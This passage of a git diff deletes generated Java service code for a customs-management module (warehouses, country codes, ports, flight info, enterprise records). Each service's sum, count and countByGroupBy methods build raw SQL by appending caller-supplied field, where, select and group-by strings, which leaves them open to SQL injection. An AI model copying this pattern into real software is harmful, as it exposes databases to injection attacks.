CustomUnitCode selectCustomUnitCodeById(Long id); - - /** - * 查询计量单位代码列表 - * - * @param customUnitCode 计量单位代码 - * @return 计量单位代码集合 - */ - public List selectCustomUnitCodeList(CustomUnitCode customUnitCode); - - /** - * 新增计量单位代码 - * - * @param customUnitCode 计量单位代码 - * @return 结果 - */ - public int insertCustomUnitCode(CustomUnitCode customUnitCode); - - /** - * 修改计量单位代码 - * - * @param customUnitCode 计量单位代码 - * @return 结果 - */ - public int updateCustomUnitCode(CustomUnitCode customUnitCode); - - /** - * 批量删除计量单位代码 - * - * @param ids 需要删除的计量单位代码ID - * @return 结果 - */ - public int deleteCustomUnitCodeByIds(Long[] ids); - - /** - * 删除计量单位代码信息 - * - * @param id 计量单位代码ID - * @return 结果 - */ - public int deleteCustomUnitCodeById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomUnitCodePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomWarehouseService.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomWarehouseService.java deleted file mode 100644 index 59b82cc..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/ICustomWarehouseService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.custom.service; -import java.util.Map; -import java.util.List; -import com.ruoyi.custom.domain.CustomWarehouse; -import com.ruoyi.custom.domain.CustomWarehousePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 仓库Service接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface ICustomWarehouseService extends IService -{ - /** - * 查询仓库 - * - * @param id 仓库ID - * @return 仓库 - */ - public CustomWarehouse selectCustomWarehouseById(Long id); - - /** - * 查询仓库列表 - * - * @param customWarehouse 仓库 - * @return 仓库集合 - */ - public List selectCustomWarehouseList(CustomWarehouse customWarehouse); - - /** - * 新增仓库 - * - * @param customWarehouse 仓库 - * @return 结果 - */ - public int insertCustomWarehouse(CustomWarehouse customWarehouse); - - /** - * 修改仓库 - * - * @param customWarehouse 仓库 - * @return 结果 - */ - public int updateCustomWarehouse(CustomWarehouse customWarehouse); - - /** - * 批量删除仓库 - * - * @param ids 需要删除的仓库ID - * @return 结果 - */ - public int deleteCustomWarehouseByIds(Long[] ids); - - /** - * 删除仓库信息 - * - * @param id 仓库ID - * @return 结果 - */ - public int deleteCustomWarehouseById(Long id); - - List getByIds(List ids, SFunction... columns); - - CustomWarehousePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomCallbackServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomCallbackServiceImpl.java deleted file mode 100644 index b00051d..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomCallbackServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomCallbackMapper; -import com.ruoyi.custom.domain.CustomCallback; -import com.ruoyi.custom.domain.CustomCallbackPlus; -import com.ruoyi.custom.service.ICustomCallbackService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 海关回查Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomCallbackServiceImpl extends ServiceImpl implements ICustomCallbackService -{ - @Autowired - private CustomCallbackMapper customCallbackMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomCallbackPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomCallbackPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomCallbackPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomCallbackPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomCallbackPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomCallbackPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_callback "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_callback "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_callback "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询海关回查 - * - * @param id 海关回查ID - * @return 海关回查 - */ - @Override - public CustomCallback selectCustomCallbackById(Long id) - { - return customCallbackMapper.selectCustomCallbackById(id); - } - - /** - * 查询海关回查列表 - * - * @param customCallback 海关回查 - * @return 海关回查 - */ - @Override - public List selectCustomCallbackList(CustomCallback customCallback) - { - return customCallbackMapper.selectCustomCallbackList(customCallback); - } - - /** - * 新增海关回查 - * - * @param customCallback 海关回查 - * @return 结果 - */ - @Override - public int insertCustomCallback(CustomCallback customCallback) - { - return customCallbackMapper.insertCustomCallback(customCallback); - } - - /** - * 修改海关回查 - * - * @param customCallback 海关回查 - * @return 结果 - */ - @Override - public int updateCustomCallback(CustomCallback customCallback) - { - return customCallbackMapper.updateCustomCallback(customCallback); - } - - /** - * 批量删除海关回查 - * - * @param ids 需要删除的海关回查ID - * @return 结果 - */ - @Override - public int deleteCustomCallbackByIds(Long[] ids) - { - return customCallbackMapper.deleteCustomCallbackByIds(ids); - } - - /** - * 删除海关回查信息 - * - * @param id 海关回查ID - * @return 结果 - */ - @Override - public int deleteCustomCallbackById(Long id) - { - return customCallbackMapper.deleteCustomCallbackById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomCountryCodeServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomCountryCodeServiceImpl.java deleted file mode 100644 index 0a0eb26..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomCountryCodeServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomCountryCodeMapper; -import com.ruoyi.custom.domain.CustomCountryCode; -import com.ruoyi.custom.domain.CustomCountryCodePlus; -import com.ruoyi.custom.service.ICustomCountryCodeService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 国别代码Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomCountryCodeServiceImpl extends ServiceImpl implements ICustomCountryCodeService -{ - @Autowired - private CustomCountryCodeMapper customCountryCodeMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomCountryCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomCountryCodePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomCountryCodePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomCountryCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomCountryCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomCountryCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_country_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_country_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_country_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询国别代码 - * - * @param id 国别代码ID - * @return 国别代码 - */ - @Override - public CustomCountryCode selectCustomCountryCodeById(Long id) - { - return customCountryCodeMapper.selectCustomCountryCodeById(id); - } - - /** - * 查询国别代码列表 - * - * @param customCountryCode 国别代码 - * @return 国别代码 - */ - @Override - public List selectCustomCountryCodeList(CustomCountryCode customCountryCode) - { - return customCountryCodeMapper.selectCustomCountryCodeList(customCountryCode); - } - - /** - * 新增国别代码 - * - * @param customCountryCode 国别代码 - * @return 结果 - */ - @Override - public int insertCustomCountryCode(CustomCountryCode customCountryCode) - { - return customCountryCodeMapper.insertCustomCountryCode(customCountryCode); - } - - /** - * 修改国别代码 - * - * @param customCountryCode 国别代码 - * @return 结果 - */ - @Override - public int updateCustomCountryCode(CustomCountryCode customCountryCode) - { - return customCountryCodeMapper.updateCustomCountryCode(customCountryCode); - } - - /** - * 批量删除国别代码 - * - * @param ids 需要删除的国别代码ID - * @return 结果 - */ - @Override - public int deleteCustomCountryCodeByIds(Long[] ids) - { - return customCountryCodeMapper.deleteCustomCountryCodeByIds(ids); - } - - /** - * 删除国别代码信息 - * - * @param id 国别代码ID - * @return 结果 - */ - @Override - public int deleteCustomCountryCodeById(Long id) - { - return customCountryCodeMapper.deleteCustomCountryCodeById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomDeclarePortServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomDeclarePortServiceImpl.java deleted file mode 100644 index baa6bf4..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomDeclarePortServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomDeclarePortMapper; -import com.ruoyi.custom.domain.CustomDeclarePort; -import com.ruoyi.custom.domain.CustomDeclarePortPlus; -import com.ruoyi.custom.service.ICustomDeclarePortService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 申报口岸Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomDeclarePortServiceImpl extends ServiceImpl implements ICustomDeclarePortService -{ - @Autowired - private CustomDeclarePortMapper customDeclarePortMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomDeclarePortPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomDeclarePortPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomDeclarePortPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomDeclarePortPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomDeclarePortPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomDeclarePortPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_declare_port "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_declare_port "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_declare_port "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询申报口岸 - * - * @param id 申报口岸ID - * @return 申报口岸 - */ - @Override - public CustomDeclarePort selectCustomDeclarePortById(Long id) - { - return customDeclarePortMapper.selectCustomDeclarePortById(id); - } - - /** - * 查询申报口岸列表 - * - * @param customDeclarePort 申报口岸 - * @return 申报口岸 - */ - @Override - public List selectCustomDeclarePortList(CustomDeclarePort customDeclarePort) - { - return customDeclarePortMapper.selectCustomDeclarePortList(customDeclarePort); - } - - /** - * 新增申报口岸 - * - * @param customDeclarePort 申报口岸 - * @return 结果 - */ - @Override - public int insertCustomDeclarePort(CustomDeclarePort customDeclarePort) - { - return customDeclarePortMapper.insertCustomDeclarePort(customDeclarePort); - } - - /** - * 修改申报口岸 - * - * @param customDeclarePort 申报口岸 - * @return 结果 - */ - @Override - public int updateCustomDeclarePort(CustomDeclarePort customDeclarePort) - { - return customDeclarePortMapper.updateCustomDeclarePort(customDeclarePort); - } - - /** - * 批量删除申报口岸 - * - * @param ids 需要删除的申报口岸ID - * @return 结果 - */ - @Override - public int deleteCustomDeclarePortByIds(Long[] ids) - { - return customDeclarePortMapper.deleteCustomDeclarePortByIds(ids); - } - - /** - * 删除申报口岸信息 - * - * @param id 申报口岸ID - * @return 结果 - */ - @Override - public int deleteCustomDeclarePortById(Long id) - { - return customDeclarePortMapper.deleteCustomDeclarePortById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomEnterpriseRecordServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomEnterpriseRecordServiceImpl.java deleted file mode 100644 index fb3721e..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomEnterpriseRecordServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomEnterpriseRecordMapper; -import com.ruoyi.custom.domain.CustomEnterpriseRecord; -import com.ruoyi.custom.domain.CustomEnterpriseRecordPlus; -import com.ruoyi.custom.service.ICustomEnterpriseRecordService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 企业备案Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomEnterpriseRecordServiceImpl extends ServiceImpl implements ICustomEnterpriseRecordService -{ - @Autowired - private CustomEnterpriseRecordMapper customEnterpriseRecordMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomEnterpriseRecordPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomEnterpriseRecordPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomEnterpriseRecordPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomEnterpriseRecordPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomEnterpriseRecordPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomEnterpriseRecordPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_enterprise_record "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_enterprise_record "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_enterprise_record "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询企业备案 - * - * @param id 企业备案ID - * @return 企业备案 - */ - @Override - public CustomEnterpriseRecord selectCustomEnterpriseRecordById(Long id) - { - return customEnterpriseRecordMapper.selectCustomEnterpriseRecordById(id); - } - - /** - * 查询企业备案列表 - * - * @param customEnterpriseRecord 企业备案 - * @return 企业备案 - */ - @Override - public List selectCustomEnterpriseRecordList(CustomEnterpriseRecord customEnterpriseRecord) - { - return customEnterpriseRecordMapper.selectCustomEnterpriseRecordList(customEnterpriseRecord); - } - - /** - * 新增企业备案 - * - * @param customEnterpriseRecord 企业备案 - * @return 结果 - */ - @Override - public int insertCustomEnterpriseRecord(CustomEnterpriseRecord customEnterpriseRecord) - { - return customEnterpriseRecordMapper.insertCustomEnterpriseRecord(customEnterpriseRecord); - } - - /** - * 修改企业备案 - * - * @param customEnterpriseRecord 企业备案 - * @return 结果 - */ - @Override - public int updateCustomEnterpriseRecord(CustomEnterpriseRecord customEnterpriseRecord) - { - return customEnterpriseRecordMapper.updateCustomEnterpriseRecord(customEnterpriseRecord); - } - - /** - * 批量删除企业备案 - * - * @param ids 需要删除的企业备案ID - * @return 结果 - */ - @Override - public int deleteCustomEnterpriseRecordByIds(Long[] ids) - { - return customEnterpriseRecordMapper.deleteCustomEnterpriseRecordByIds(ids); - } - - /** - * 删除企业备案信息 - * - * @param id 企业备案ID - * @return 结果 - */ - @Override - public int deleteCustomEnterpriseRecordById(Long id) - { - return customEnterpriseRecordMapper.deleteCustomEnterpriseRecordById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomFlightInfoServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomFlightInfoServiceImpl.java deleted file mode 100644 index 3619b59..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomFlightInfoServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomFlightInfoMapper; -import com.ruoyi.custom.domain.CustomFlightInfo; -import com.ruoyi.custom.domain.CustomFlightInfoPlus; -import com.ruoyi.custom.service.ICustomFlightInfoService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 航班信息Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomFlightInfoServiceImpl extends ServiceImpl implements ICustomFlightInfoService -{ - @Autowired - private CustomFlightInfoMapper customFlightInfoMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomFlightInfoPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomFlightInfoPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomFlightInfoPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomFlightInfoPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomFlightInfoPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomFlightInfoPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_flight_info "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_flight_info "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_flight_info "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询航班信息 - * - * @param id 航班信息ID - * @return 航班信息 - */ - @Override - public CustomFlightInfo selectCustomFlightInfoById(Long id) - { - return customFlightInfoMapper.selectCustomFlightInfoById(id); - } - - /** - * 查询航班信息列表 - * - * @param customFlightInfo 航班信息 - * @return 航班信息 - */ - @Override - public List selectCustomFlightInfoList(CustomFlightInfo customFlightInfo) - { - return customFlightInfoMapper.selectCustomFlightInfoList(customFlightInfo); - } - - /** - * 新增航班信息 - * - * @param customFlightInfo 航班信息 - * @return 结果 - */ - @Override - public int insertCustomFlightInfo(CustomFlightInfo customFlightInfo) - { - return customFlightInfoMapper.insertCustomFlightInfo(customFlightInfo); - } - - /** - * 修改航班信息 - * - * @param customFlightInfo 航班信息 - * @return 结果 - */ - @Override - public int updateCustomFlightInfo(CustomFlightInfo customFlightInfo) - { - return customFlightInfoMapper.updateCustomFlightInfo(customFlightInfo); - } - - /** - * 批量删除航班信息 - * - * @param ids 需要删除的航班信息ID - * @return 结果 - */ - @Override - public int deleteCustomFlightInfoByIds(Long[] ids) - { - return customFlightInfoMapper.deleteCustomFlightInfoByIds(ids); - } - - /** - * 删除航班信息信息 - * - * @param id 航班信息ID - * @return 结果 - */ - @Override - public int deleteCustomFlightInfoById(Long id) - { - return customFlightInfoMapper.deleteCustomFlightInfoById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomHsCodeServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomHsCodeServiceImpl.java deleted file mode 100644 index 166d705..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomHsCodeServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import 